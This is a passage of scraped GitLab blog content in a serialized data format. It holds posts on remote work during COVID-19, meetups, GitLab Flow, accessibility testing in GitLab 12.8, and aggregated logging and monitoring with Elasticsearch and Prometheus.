(Coronavirus)](https://www.cdc.gov/coronavirus/2019-ncov/index.html), there has been a notable shift in appetite for working remotely. Companies previously against remote work are suddenly considering remote or implementing remote, with varying degrees of intentionality.\n\nIn the coming weeks and months, your company may have short- or medium-term needs to establish a work-from-home protocol, even if you’re [unsure about long-term commitment to remote](/company/culture/all-remote/hybrid-remote/), and how it will impact your business.\n\n## Resources for going remote\n\n![GitLab global team map graphic](https://about.gitlab.com/images/blogimages/gitlab-all-remote-laptop-global-map.jpg){: .shadow.medium.center}\n\nGiven these realities, companies are being tasked with advising their workforce on how to work from home. With no warning, this is a tall task. \n\nThankfully, these companies do not have to start from scratch. As the world's largest all-remote company, GitLab has learned a lot in scaling from a few people scattered across Europe to a 1,200+ person team in over 65 countries and regions. \n\nWe've built a [**remote work emergency toolkit**](/company/culture/all-remote/remote-work-emergency-plan/) for leaders and managers, and a [**remote work starter guide**](/company/culture/all-remote/remote-work-starter-guide/) for employees. This is a fast boot guide with five things you can focus on right now to maximize stability.\n\nAdditionally, we’ve architected [dozens of comprehensive guides](/company/culture/all-remote/guide/) to implementing remote, covering topics such as:\n\n* [Pitfalls to watch out for when embracing remote](/company/culture/all-remote/what-not-to-do/)\n* [Embracing asynchronous communication](/company/culture/all-remote/asynchronous/)\n* [Transitioning a company to remote](/company/culture/all-remote/transition/)\n* [How to use forcing functions to work remote-first](/company/culture/all-remote/how-to-work-remote-first/)\n* [Combating burnout, isolation, and anxiety](/company/culture/all-remote/mental-health/)\n* [Understanding the phases of remote adaptation](/company/culture/all-remote/phases-of-remote-adaptation/)\n* [Remote onboarding](/company/culture/all-remote/onboarding/)\n* [Meetings](/company/culture/all-remote/meetings/)\n* [Management](/company/culture/all-remote/management/)\n* [Asynchronous workflows](/company/culture/all-remote/asynchronous/)\n* [Handbook-first documentation](/company/culture/all-remote/handbook-first-documentation/)\n* [Adopting a self-service mindset](/company/culture/all-remote/self-service/)\n* [Learning and development](/company/culture/all-remote/learning-and-development/)\n* [Workspaces](/company/culture/all-remote/workspace/)\n* [Informal communication](/company/culture/all-remote/informal-communication/)\n* [Scaling](/company/culture/all-remote/scaling/)\n* [Getting started in a remote role](/company/culture/all-remote/getting-started/)\n* [Communicating effectively and responsibly through text](/company/culture/all-remote/effective-communication/)\n\nAll of these guides are open, and we encourage other companies to study them, copy them, implement them, and even contribute learnings back to them. It’s an end-to-end toolkit on getting started with remote, iterating as a team, and thriving in an officeless environment. \n\n## Remote work benefits your customers\n\nAs a recent [Economist article](https://www.economist.com/business/2020/03/05/covid-19-is-foisting-changes-on-business-that-could-be-beneficial) points out, COVID-19 is causing companies to rethink their business from a supply chain perspective. Having a remote workforce can lessen the disruption of the supply chain if the product is not a tangible good or service. At GitLab, utilizing a SaaS model and being an all-remote company has provided resiliency to these issues. Our supply chain is not affected by the global impact of COVID-19; however, onsite services may be limited in affected areas. \n\nGitLab, the open source product, and other tools like Zoom and Slack help teams collaborate through asynchronous workflows which not only enable remote work, but may be helpful in times of global crises.\n\n## The importance of in-person interactions\n\nAs an all-remote company, in-person interactions don’t occur by default. In turn, GitLab is [intentional](/company/culture/all-remote/in-person/) about ensuring that team members are given opportunities to meet other team members in a shared physical space. Each year, GitLab offers every team member the opportunity to gather in a new city for a week-long unconference. Whereas most summits are focused on networking and productivity, [GitLab Contribute](/events/gitlab-contribute/) is unique. Our team bonds over video calls year-round, so this week of in-person excursions is one that many mark on their calendar as can’t-miss. When your default is virtual, the chance to explore a new place with colleagues is invaluable. \n\nWith the increased impact of COVID-19 across the world, we have made the difficult decision to cancel the planned March 2020 edition of Contribute. The health and safety of our team members and the community in the city we visit is our highest priority. We are disappointed, but believe this to be the best decision for everyone involved. \n\nBeyond Contribute, we are monitoring the situation carefully and providing team members with [CDC recommendations](https://www.cdc.gov/coronavirus/2019-ncov/about/prevention-treatment.html) to help avoid sharing contagious viruses or illnesses when traveling or meeting with other team members. Our global, [all-remote structure](/company/culture/all-remote/guide/) allows us to continue work as usual with video calls, chat, and other collaboration tools and services to avoid unnecessary travel. \n\n## Everyone can contribute\n\nSharing our learnings with the world is at the heart of our mission: [everyone can contribute](https://handbook.gitlab.com/handbook/values/#mission). GitLab believes that all-remote is the [future of work](/company/culture/all-remote/vision/), and remote companies have a shared responsibility to show the way for other organizations who are embracing it. If you or your company has an experience that would benefit the greater world, consider creating a [merge request](https://docs.gitlab.com/ee/user/project/merge_requests/) and adding a contribution to the all-remote handbook.\n",[676,3798,736],{"slug":24711,"featured":6,"template":678},"resources-for-companies-embracing-remote-work","content:en-us:blog:resources-for-companies-embracing-remote-work.yml","Resources For Companies Embracing Remote Work","en-us/blog/resources-for-companies-embracing-remote-work.yml","en-us/blog/resources-for-companies-embracing-remote-work",{"_path":24717,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24718,"content":24724,"config":24729,"_id":24731,"_type":16,"title":24732,"_source":17,"_file":24733,"_stem":24734,"_extension":20},"/en-us/blog/get-involved-with-gitlab-meetups",{"title":24719,"description":24720,"ogTitle":24719,"ogDescription":24720,"noIndex":6,"ogImage":24721,"ogUrl":24722,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24722,"schema":24723},"Get involved with GitLab Meetups","Level up your career and network by becoming an organizer, speaker, or host.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679108/Blog/Hero%20Images/japanmeetup.jpg","https://about.gitlab.com/blog/get-involved-with-gitlab-meetups","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Get involved with GitLab Meetups\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"John Coghlan\"}],\n        \"datePublished\": \"2020-03-05\",\n      }",{"title":24719,"description":24720,"authors":24725,"heroImage":24721,"date":24726,"body":24727,"category":18484,"tags":24728},[6631],"2020-03-05","\n{::options parse_block_html=\"true\" /}\n\nGitLab's meetup community had a great year in 2019. Our membership grew by more than 400% as we launched new groups around the world - expanding our community to more than 20 countries. Thank you to all of our meetup members, speakers, hosts, and, especially, the community organizers who enabled this growth and continue to support the GitLab community.\n\nAs the GitLab Developer Relations team looks ahead to 2020 and beyond, our focus remains the same: create a community where [everyone can contribute](/company/mission/#mission). In order to fulfill that mission, we need to continue growing our community programs - including our meetup community. In this post, I'll share why meetups are important to GitLab, why you should get involved with meetups, four ways to get involved, and how GitLab can help. Let's get started.\n\n## Why GitLab loves meetups\n\nGitLab started as an open source project, GitLab the company was started as a show HN post, and our founders joined forces because of a tweet. In conversations with investors, journalists, and job candidates, GitLab's CEO Sid proudly shares stats about the number of contributions we get from our community each release (regularly surpassing [200 MRs per release](https://gitlab.biterg.io/goto/937475d38035f496df3501c9b30af5ef)). Community has been a big part of GitLab since the beginning and remains critical to our success.\n\n#### In-person interactions are important\n\nWhile GitLab has adopted an all-remote culture, we recognize the value of [in-person interactions](/company/culture/all-remote/in-person/). In fact, we have numerous programs to bring our teams together ranging from team members meetups, where folks from nearby areas gather to co-work, to our Contribute events which bring the entire company together. Our belief in the value of in-person interactions applies to our community as well, and is why we invest in GitLab meetups, [Commit conferences](https://www.youtube.com/watch?v=hi2D0Se_VnA), and many other community and industry events.\n\n#### Lowering the barrier to entry\n\nMeetups also align with our [diversity, inclusion and belonging](https://handbook.gitlab.com/handbook/values/#diversity-inclusion) value. Meetups are typically free and their scale and distribution means they happen just about anywhere - allowing folks who may not be able to spend money on conference tickets and travel to participate. They create opportunities for community members to contribute - particularly first-time speakers. This allows folks who are new to a community to contribute sooner. By lowering the barriers to entry, we can increase participation from folks who are new to our community or tech communities, in general.\n\n![GitLab Hamburg Meetup](https://about.gitlab.com/images/blogimages/get-involved-with-gitlab-meetups/hamburgmeetup.jpg){: .shadow.center}\n\u003C!-- image: https://twitter.com/se_sda/status/1228348295560548352/photo/1 -->\nGitLab Hamburg Meetup\n{: .note.text-center}\n\n## Why you should get involved in meetups\n\nParticipating in meetups is a great way to make new connections, develop new skills, and advance your career.\n\n#### Find your community\n\nMeetups tend to bring together folks with similar interests and values. These shared interests can make it easier to forge relationships and, ultimately, friendships. By growing your number of connections, you can also open up doors to professional opportunities such as recruiting new team members or connecting with people who are hiring.\n\n#### Expand your skillset\n\nWhether you're new to tech or looking to develop new skills, meetups are an opportunity to develop core skills needed for success - particularly communication and collaboration. Successful meetups rely on the contributions of a well-prepared speaker, an organized host, and proactive members with a versatile organizer serving as the central point of contact between these parties.\n\nParticipation in meetups will allow you to meet folks with varying levels of skills in different technologies. This enables interactions with people from whom you can learn and others to whom you can teach - a duality that can accelerate learning.\n\n#### Follow your passion\n\nIf you're passionate about a technology or programming language, meetups are a way to grow the interest in those topics, increase your influence in their community, and help advocate and champion them. Take GitLab, for example. Whether you're interested in GitLab because it makes you more productive or you align with our values, by participating in our meetups, you can help promote GitLab's value and values to the people around you.\n\n![GitLab Nigeria Community](https://about.gitlab.com/images/blogimages/get-involved-with-gitlab-meetups/nigeriameetup.jpg){: .shadow.center}\n\u003C!-- image: https://secure.meetupstatic.com/photos/event/1/0/1/f/600_487144127.jpeg -->\nGitLab Nigeria Community\n{: .note.text-center}\n\n## How you can contribute\n\nWithout an organizer and community members, it's impossible to have a meetup. Hosts and speakers also play key roles in successful meetups.\n\n#### Become an organizer\n\nI love meetup organizers. They are the magic behind the meetups. They plan, market, coordinate, and execute the events. They recruit speakers and hosts. They attract, engage, and retain members. They are speakers, communicators, planners, managers, marketers, community managers, and CEOs for their communities. The skills required as an organizer will prepare them for leadership opportunities within their organizations and in other communities. Simply put, these folks are leaders who know how to get things done.\n\n**If you'd like to organize a GitLab meetup, create an issue using our [Meetup Organizer template](https://gitlab.com/gitlab-com/marketing/community-relations/evangelist-program/general/issues/new?issuable_template=meetup-organizer).**\n\n#### Become a speaker\n\nBy becoming a speaker, you will develop a critical skill needed to lead teams and organizations. You can also expand your network and following which can open new doors or career paths such as developer evangelism. Warren Buffett has even suggested that developing your public speaking skills can increase your earnings potential by 50%. You'll also have the opportunity to recruit for your company, promote your product or business, and gain new social media followers. If you leverage your experience at meetups to speak at conferences, you'll typically be provided with support for travel and free tickets to the conference creating new opportunities for professional development and networking. Many top speakers are often paid for their talks.\n\n**Do you want to speak at a GitLab meetup? Open a [Meetup Speaker issue](https://gitlab.com/gitlab-com/marketing/community-relations/evangelist-program/general/issues/new?issuable_template=meetup-speaker) to let us know.**\n\n#### Become a host\n\nFinding venues to host our groups is a common blocker for organizers. As a host, you'll be able to provide learning and development opportunities to your team, increase your influence in the local tech community, and showcase your office to groups of local technologists. Most meetups are happy to have their hosts do a short pitch about their product or recruiting efforts. As an all-remote company, we cannot offer our own space but we would love to work with local technology organizations who are passionate about GitLab and align with our values to host GitLab Meetups.\n\n**Ready to host a GitLab meetup? Please use our [Meetup Venue template](https://gitlab.com/gitlab-com/marketing/community-relations/evangelist-program/general/issues/new?issuable_template=meetup-venue) to indicate your interest.**\n\n#### Become a member\n\nIf you just want to attend, that is great, too. We encourage you to start by attending a local meetup and engaging with your fellow community members. Often times the conversations that happen among the community members at a meetup are as valuable as the talks.\n\n**Interested in joining a GitLab meetup group? Visit our [Pro page](https://www.meetup.com/pro/gitlab) on Meetup.com to find a group near you.**\n\n![London Meetup Speaker](https://about.gitlab.com/images/blogimages/get-involved-with-gitlab-meetups/londonmeetup.jpg){: .shadow}\n\u003C!-- image: https://twitter.com/aogunbowale/status/1202307697179279362/photo/1 -->\nLondon GitLab Meetup Group\n{: .note.text-center}\n\n## How GitLab can help you\n\nAs stated on our [Meetups page](/community/meetups/), GitLab supports community leaders who want to organize meetups and tech events in their cities and hometowns. GitLab is a complete DevOps platform, delivered as a single application, so most events that discuss the software development lifecycle and developer experience are eligible for GitLab support.\n\nWe detail how GitLab supports meetups in our [handbook](/handbook/marketing/developer-relations/evangelist-program/), as well, but the key points you should know are:\n* **For organizers**:\n  * We have a dedicated program manager who has created materials and documentation to help ensure your event is a success and who is available to help support organizers through the planning process.\n  * We will provide [financial support of up to $500](/handbook/marketing/developer-relations/evangelist-program/#meetup-expenses) for meetup events.\n  * We will provide swag for your community members.\n  * We will help connect you with speakers and hosts in your area.\n* **For speakers:**\n  * We have a dedicated program manager who can connect you with speaking opportunities in your area.\n  * We have a dedicated program manager and a tech evangelism team available to help you prepare your presentation.\n  * We will provide templates and decks that you can leverage to help you prepare.\n* **For hosts:**\n  * We are always happy to connect interested hosts with our local organizers.\n  * We ensure our hosts are able to connect with the GitLab community at the events they host.\n* **For members**:\n  * We have a global network of meetups that we hope you will join.\n  * Don't see a meetup near you? Let us know and we can help you start one or prioritize recruiting an organizer in your area.\n\n## Get started\n\nTo get involved in the GitLab community, please reach out and let us know how you'd like to contribute:\n\n* [**Become a Meetup Organizer**](https://gitlab.com/gitlab-com/marketing/community-relations/evangelist-program/general/issues/new?issuable_template=meetup-organizer)\n* [**Become a speaker**](https://gitlab.com/gitlab-com/marketing/community-relations/evangelist-program/general/issues/new?issuable_template=meetup-speaker)\n* [**Volunteer your venue**](https://gitlab.com/gitlab-com/marketing/community-relations/evangelist-program/general/issues/new?issuable_template=meetup-venue)\n* [**Find a GitLab meetup near you**](https://www.meetup.com/pro/gitlab)\n\nOf course, if there are other ways GitLab can help, please let me know. You can either reach out to me via [email](mailto:evangelists@gitlab.com), tweet at [me](https://twitter.com/john_cogs), or make an edit to our handbook and send me an [MR](https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/source/handbook/marketing/developer-relations/evangelist-program/index.html.md.erb). Remember: everyone can contribute.\n\nCover image by [@jumpei_ikegami](https://twitter.com/jumpei_ikegami) on [Twitter](https://twitter.com/jumpei_ikegami/status/1120995560649969665)\n{: .note}\n",[267],{"slug":24730,"featured":6,"template":678},"get-involved-with-gitlab-meetups","content:en-us:blog:get-involved-with-gitlab-meetups.yml","Get Involved With Gitlab Meetups","en-us/blog/get-involved-with-gitlab-meetups.yml","en-us/blog/get-involved-with-gitlab-meetups",{"_path":24736,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24737,"content":24742,"config":24746,"_id":24748,"_type":16,"title":24749,"_source":17,"_file":24750,"_stem":24751,"_extension":20},"/en-us/blog/what-is-gitlab-flow",{"title":24738,"description":24739,"ogTitle":24738,"ogDescription":24739,"noIndex":6,"ogImage":21039,"ogUrl":24740,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24740,"schema":24741},"The problem with Git flow","Learn why Git flow complicates the lifecycle and discover an alternative to streamline development.","https://about.gitlab.com/blog/what-is-gitlab-flow","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The problem with Git flow\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suri Patel\"}],\n        \"datePublished\": \"2020-03-05\",\n      }",{"title":24738,"description":24739,"authors":24743,"heroImage":21039,"date":24726,"body":24744,"category":813,"tags":24745},[20767],"\n  \u003Cscript type=\"application/ld+json\">\n  {\n    \"@context\": \"https://schema.org\",\n    \"@type\": \"BlogPosting\",\n    \"mainEntityOfPage\": {\n      \"@type\": \"WebPage\",\n      \"@id\": \"https://about.gitlab.com/blog/what-is-gitlab-flow/\"\n    },\n    \"headline\": \"The problem with Git flow\",\n    \"description\": \"Learn why Git flow complicates the lifecycle and discover an alternative to streamline development.\",\n    \"image\": \"https://about.gitlab.com/images/blogimages/whatisgitlabflow.jpg\",\n    \"author\": {\n      \"@type\": \"Organization\",\n      \"name\": \"GitLab\"\n    },\n    \"publisher\": {\n      \"@type\": \"Organization\",\n      \"name\": \"\",\n      \"logo\": {\n        \"@type\": \"ImageObject\",\n        \"url\": \"\"\n      }\n    },\n    \"datePublished\": \"2020-03-05\"\n  }\n  \u003C/script>\n\nSometimes, you can have too much of a good thing. That’s certainly true with [Git flow](https://nvie.com/posts/a-successful-git-branching-model/), a well-known software development workflow that offers several options but can bog down users.\n\nWe developed [GitLab Flow](/topics/version-control/what-is-gitlab-flow/) as the solution to eliminate messy complexity and streamline the development process. [GitLab Flow](/topics/version-control/what-is-gitlab-flow/) brings issue tracking to the Git workflow, simplifying the process and removing confusion.\n\n## The problem with Git flow\n\nTo understand how GitLab Flow works, it’s helpful to start by looking at the problems it tries to solve. In Git flow, there are two main pain points, both of which involve unnecessary branch switching.\n\nGit flow forces developers to use the `develop` branch rather than the `master` or default branch. Because most tools default to using the master, there’s a significant amount of branch switching involved. Another frustrating aspect are `release` and [hotfix](https://stackoverflow.com/questions/46729813/how-to-use-a-Gitflow-hotfix-branch) branches, which are overkill for most organizations and completely unnecessary in companies practicing continuous integration and continuous delivery.\n\nThat brings us to GitLab Flow, a simpler workflow and branching model that keeps everything simple and inclusive.\n\n## GitLab Flow: a streamlined branching strategy\n\nGitLab Flow is a simpler alternative to Git flow that combines feature-driven development and feature branches with issue tracking. GitLab Flow integrates the Git workflow with an issue tracking system, offering a simple, transparent, and effective way to work with Git.\n\nGitLab Flow is an approach to make the relationship between the code and the issue tracker more transparent. Each change to the codebase starts with an issue in the issue tracking system. When you’re done coding or want to discuss the code, you can open a merge request. When the code is ready, the reviewer will merge the branch into master, creating a merge commit that makes this event easily visible in the future. Using GitLab Flow, teams can deploy a new version of code by merging master into a `production` branch, enabling them to quickly identify what code is in the production environment. In this workflow, commits only flow downstream, ensuring that everything is tested in all environments.\n\nGitLab Flow prevents the overhead of releasing, tagging, and merging that accompanies Git flow.\n\nGitLab Flow in a nutshell:\n- All features and fixes first go to master\n- Allows for `production` or `stable` branches\n- Bug fixes/hotfix patches are cherry-picked from master\n\nRead more on here [GitLab Flow best practicies](/topics/version-control/what-are-gitlab-flow-best-practices/)\n\n## Breaking down the 10 stages of software development\n\nGitLab Flow is a way to move from the idea stage to production, all while keeping everyone informed and productive. We identified [10 key stages](/topics/version-control/what-is-gitlab-flow/#stages-of-software-development) of the development process that must happen in order for software to get into production. GitLab Flow makes it easy to account for all of them, while continuing to provide full visibility into the development lifecycle.\n\nBroadly speaking, GitLab Flow is broken down into three main areas: `feature` branch, `production` branch, and `release` branch.\n\nA `feature` branch is where the serious development work occurs. A developer creates a feature or bug fix branch and does all the work there rather than on a master branch. Once the work is complete, the developer creates a merge request to merge the work into the master branch.\n\nThe `production` branch is essentially a monolith – a single long-running production `release` branch rather than individual branches. It’s possible to create a tag for each deployable version to keep track of those details easily.\n\nThe last piece, the `release` branch, is key if you release software to customers. With every new release, you’ll create a stable branch from master and decide on a tag. If you need to do a patch release, be sure to cherry-pick critical bug fixes first, and don’t commit them directly to the stable or long-lived branch.\n\n## Follow the rules\n\nWant to get the most out of GitLab Flow? Our CEO [Sid Sijbrandij](/company/team/#sytses) came up with [11 rules teams should always follow to achieve maximum efficiency](/topics/version-control/what-are-gitlab-flow-best-practices/). The article is worth a read in its entirety, but here are a few rules that are timely reminders of the importance of testing, even in a [CI environment](/solutions/continuous-integration/):\n\n* **Test all commits**: Don’t wait to test until everything has been merged into `master`. Test commits along the way to catch problems earlier in the process.\n* **And run _all_ tests on all the commits**, even if you have to run tests in parallel.\n* **Code reviews > merging into `master`.** Why wait? \"Don’t test everything at the end of the week,\" Sid writes. \"Do it on the spot, because you'll be more likely to catch things that could cause problems, and others will also be working to come up with solutions.\"\n\n## Take a deep dive\n\nTake a look at GitLab Flow in action! 🍿\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/InKNIvky2KE\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n\n\nCover image by [Fabio Bracht](https://unsplash.com/@bracht?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/photos/_z0DiiaIhB4)\n{: .note}\n",[1067,1444,1207],{"slug":24747,"featured":6,"template":678},"what-is-gitlab-flow","content:en-us:blog:what-is-gitlab-flow.yml","What Is Gitlab Flow","en-us/blog/what-is-gitlab-flow.yml","en-us/blog/what-is-gitlab-flow",{"_path":24753,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24754,"content":24760,"config":24765,"_id":24767,"_type":16,"title":24768,"_source":17,"_file":24769,"_stem":24770,"_extension":20},"/en-us/blog/introducing-accessibility-testing-in-gitlab",{"title":24755,"description":24756,"ogTitle":24755,"ogDescription":24756,"noIndex":6,"ogImage":24757,"ogUrl":24758,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24758,"schema":24759},"Introducing Accessibility Testing in GitLab","How Accessibility Testing reinforces our value that everyone can contribute","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666941/Blog/Hero%20Images/accessibility-vision.jpg","https://about.gitlab.com/blog/introducing-accessibility-testing-in-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing Accessibility Testing in GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"James Heimbuck\"}],\n        \"datePublished\": \"2020-03-04\",\n      }",{"title":24755,"description":24756,"authors":24761,"heroImage":24757,"date":24762,"body":24763,"category":18484,"tags":24764},[7598],"2020-03-04","\n{::options parse_block_html=\"true\" /}\n\nGitLab has introduced continuous accessibility testing with the 12.8 release. This post adds some context to the [release post](/releases/2020/02/22/gitlab-12-8-released/#automated-accessibility-scanning-of-review-apps) and introduces our vision for accessibility testing going forward.\n\n## Why isn't everyone doing accessibility testing?\n\nOne of the core tenets of the vision of GitLab is that [everyone can contribute](https://about.gitlab.com/company/vision/#vision). We also firmly believe that GitLab should be accessible to everyone and projects created with GitLab should as well. To better realize this we have introduced Accessibility Testing as a new feature in GitLab 12.8.\n\nIn talking to developers, and even my own colleagues, I have been surprised about how many people around me are color blind and have realized how easy this is to overlook. In fact, 8% of the United States male population is color blind, and this is just one kind of visual impairment that may impact a web site's readability. Take for instance the classic North American color indicators for Go / Stop or Good / Bad - Red and Green. An example of the GitLab pipeline page is shown below as users without and with protanopia would see the page. GitLab does make use of differing icons and wording as indicators of a pipeline's status, but the difference is striking.\n\n![Pipelines page](https://about.gitlab.com/images/blogimages/accessibility_direction/pipelines.png){: .shadow}\nHow the Pipelines page appears to users without Protanopia\n{: .note.text-center}\n\n![Pipelines with Protanopia](https://about.gitlab.com/images/blogimages/accessibility_direction/pipelines-with-protanopia.png){: .shadow}\nHow the Pipelines page appears to users with Protanopia\n{: .note.text-center}\n\nAs we dug into the problem with developers we found two common themes:\n1.  Accessibility testing is done late in the development lifecycle, often on a Release Candidate, when it is too late to make changes.\n1.  Accessibility testing is becoming more important across organizations.\n\n## Why is accessibility testing a hot topic?\n\nPizza. More specifically one persons ability to [customize a pizza](https://www.usatoday.com/story/money/2019/10/07/dominos-pizza-website-accessibility-supreme-court-wont-hear-case/3904582002/). While some companies may see accessibility testing as a defensive move to prevent law suits we see it a different way at GitLab. We want to build software for everyone and we want to build it quickly. Providing developers a mechanism to improve the accessibility of their software for all users is just the right thing to do.\n\n## How is GitLab solving this problem?\n\nWith the [12.8 release](/releases/2020/02/22/gitlab-12-8-released/#automated-accessibility-scanning-of-review-apps) GitLab has introduced accessibility scanning in the Core product. By including the Accessibility template to your .gitlab-ci.yml file and providing a URL the accessibility scan can be run on every merge request that includes that job. \n\n```yaml\ninclude:\n  template: Verify/Accessibility.gitlab-ci.yml\n\na11y:\n  variables:\n    a11y_urls: https://example.com\n```\n\nThe example above is from the [documentation](https://docs.gitlab.com/ee/ci/testing/accessibility_testing.html) which includes some additional details. \n\nIn the current version of the feature the result is a simple HTML report that outlines the issues with the Review App as identified by the scanner, which uses the [W2CAGAA standards](https://www.w3.org/TR/WCAG20/). We recognize that this is just a small step in making software more accessible but we are excited about the future.\n\nFuture iterations and improvements in GitLab we will be working on for a11y testing include:\n* [Identify and scan only changed pages](https://gitlab.com/gitlab-org/gitlab/issues/207383)\n* [Display newly introduced issues in the Merge Request view](https://gitlab.com/gitlab-org/gitlab/issues/39425)\n* [Display the full a11y report in GitLab](https://gitlab.com/gitlab-org/gitlab/issues/36170)\n\nThis is not a comprehensive list by any means and you can send suggestions for improvements or follow along as the category matures on the Accessibility Testing direction page.\n\nPhoto by [Matt Noble](https://unsplash.com/@mcnoble) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[110,754],{"slug":24766,"featured":6,"template":678},"introducing-accessibility-testing-in-gitlab","content:en-us:blog:introducing-accessibility-testing-in-gitlab.yml","Introducing Accessibility Testing In Gitlab","en-us/blog/introducing-accessibility-testing-in-gitlab.yml","en-us/blog/introducing-accessibility-testing-in-gitlab",{"_path":24772,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24773,"content":24779,"config":24784,"_id":24786,"_type":16,"title":24787,"_source":17,"_file":24788,"_stem":24789,"_extension":20},"/en-us/blog/unifylogsmetrics",{"title":24774,"description":24775,"ogTitle":24774,"ogDescription":24775,"noIndex":6,"ogImage":24776,"ogUrl":24777,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24777,"schema":24778},"How to integrate operation logs and metrics in GitLab","We've added Elasticsearch to our monitoring solution so you can see all your logs and metrics in one view. Here's a first look at this new feature, released in GitLab 12.8.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666923/Blog/Hero%20Images/logs.png","https://about.gitlab.com/blog/unifylogsmetrics","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to integrate operation logs and metrics in GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dov Hershkovitch\"}],\n        \"datePublished\": \"2020-03-03\",\n      }",{"title":24774,"description":24775,"authors":24780,"heroImage":24776,"date":24781,"body":24782,"category":734,"tags":24783},[902],"2020-03-03","\nLogging is one of the most powerful tools we have when trying to understand an application problem. It is a common practice – when things go wrong in production, one of the first requests is often, \"Please send me the logs!\" Raw logs contain useful information which can help pinpoint the root cause(s) of problems.\n\nBut using raw logs isn’t always a straightforward process. This is especially true, in a modern, distributed, and often ephemeral architecture. Ideally logs should be available across the entire application, be searchable and offer at least some access to past history. Historically aggregated logging solutions, if they existed, were only piecemeal. This forced developers to spend time and energy tracking down important log data which ultimately resulted in logs being far less useful than they could be.\n\nWith the [12.8 release](/releases/2020/02/22/gitlab-12-8-released/), to ease navigating through logs, we added [Elastic log Stack](https://docs.gitlab.com/ee/integration/advanced_search/elasticsearch.html) as our log aggregation tool and [Log Explorer](/releases/2020/02/22/gitlab-12-8-released/#explore-aggregated-logs) so you can interact with all your logs in one place.\n\nBut before we look at the logging capabilities, let’s take a step back and look at the big picture.\n\n##  Why monitoring matters\n\nAt GitLab, we aim to provide users with a complete [DevSecOps platform](/solutions/security-compliance/), delivered as a single application. To do so, we have divided the DevSecOps lifecycle into [ten different stages](/stages-devops-lifecycle/). The final Ops stage of the [DevOps](/topics/devops/) loop, [Monitor](/direction/monitor/), should occur right after the production environment is configured and the application deployed. This is a critical stage that should not be ignored.\n\nIn fact, it’s commonly believed in the DevOps world that no developer should ship code into production without monitoring, as it will help ensure an application behaves as expected. If something isn’t right, you will be alerted, (hopefully before your users start to complain). If you are thinking about ignoring monitoring, always remember _customers_ are the most expensive monitoring solution you can have.\n\n### Chasing Observability\n\nObservability is the ability to infer internal states of a system based on the system’s external outputs. Monitoring, on the other hand is the activity of observing the state of a system over time. To achieve observability, your system’s telemetries, including metrics, traces, and logs should all be available to enable proactive introspection and enable greater operational visibility. We believe that DevOps practitioners should have observability as a goal.\n\nGitLab’s vision for the Monitor category is to build a consolidated and integrated observability tool which will, over time, displace today's front-runner in modern observability. In pursuit of this vision and to focus our efforts, we are building our solutions with a cloud native first principle to solve the cloud native problem by selecting the open source products which are cloud native compatible. And, in fact, as part of GitLab’s [New Year’s gift for 2020](/blog/observability/) we're moving a big portion of the observability features – custom metrics, logging, tracing and alerting – from our proprietary codebase to the open source codebase this year.\n\n### Metrics & Traces\n\nToday, if you use GitLab to deploy your application into a Kubernetes cluster, with a push of a button you can deploy monitoring (via a Prometheus instance) into that cluster. [Prometheus](https://prometheus.io/) will automatically start collecting key metrics from your deployed application (such as latency, error rate, and throughput), and send it directly into GitLab UI. In addition to the out-of-the-box metrics and dashboard, it is possible to customize Prometheus directly from the GitLab UI (using PromQL) to collect any metric you desire and present it on a dashboard. You can set up a threshold, create an alert on it, and open an issue as a part of an incident management solution, all without leaving the GitLab UI.\n\nAs a developer, when there is an issue - you want to drill down to the exact function or micro service that is causing the trouble. GitLab uses [Jaeger](https://www.jaegertracing.io/), an end-to-end distributed tracing system for microservices-based distributed systems.\n\n## Get started with logs\n\nBefore the 12.8 release, existing Monitor stage users already had the ability to view pod logs directly from within the GitLab UI. However, this was done only through the available Kubernetes APIs. Viewing logs with the Kubernetes APIs is limited to allowing a log-tailing experience on a specific pod from multiple environments only.\n\nWith the 12.8 release any user can deploy Elastic stack - a specific flavor of Elasticsearch alongside a component called [Filebeat](https://www.elastic.co/beats/filebeat) - to a Kubernetes cluster with the push of a button, (similar to the way we deploy Prometheus). Once deployed, it automatically starts collecting all logs that are coming from the cluster and applications across the available environments (production, staging, testing, etc.) and they will be surfaced in the GitLab UI. In addition users can also navigate directly from the metric chart to the log explorer while preserving the context.\n\nThis is extremely critical when triaging an incident or validating the status of your service. In the cloud-native world aggregation of logs for observability becomes critical as logs are distributed across multiple pods and services. Using our new solution you will be able to get an aggregated view of all logs across multiple services and infrastructures, go back in time, search through logs, and more.\n\n##  What's next\n\nI hope you found this overview useful. To get started, download GitLab and read its documentation for more in-depth coverage of the functionality. One of the fastest ways to experience GitLab features is to use the .com version — which is a hosted GitLab.\n\nIf you would like to get in touch with the Monitoring team please comment and contribute to the linked [issues](https://gitlab.com/groups/gitlab-org/-/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=group%3A%3Aapm&label_name[]=Category%3ALogging) and 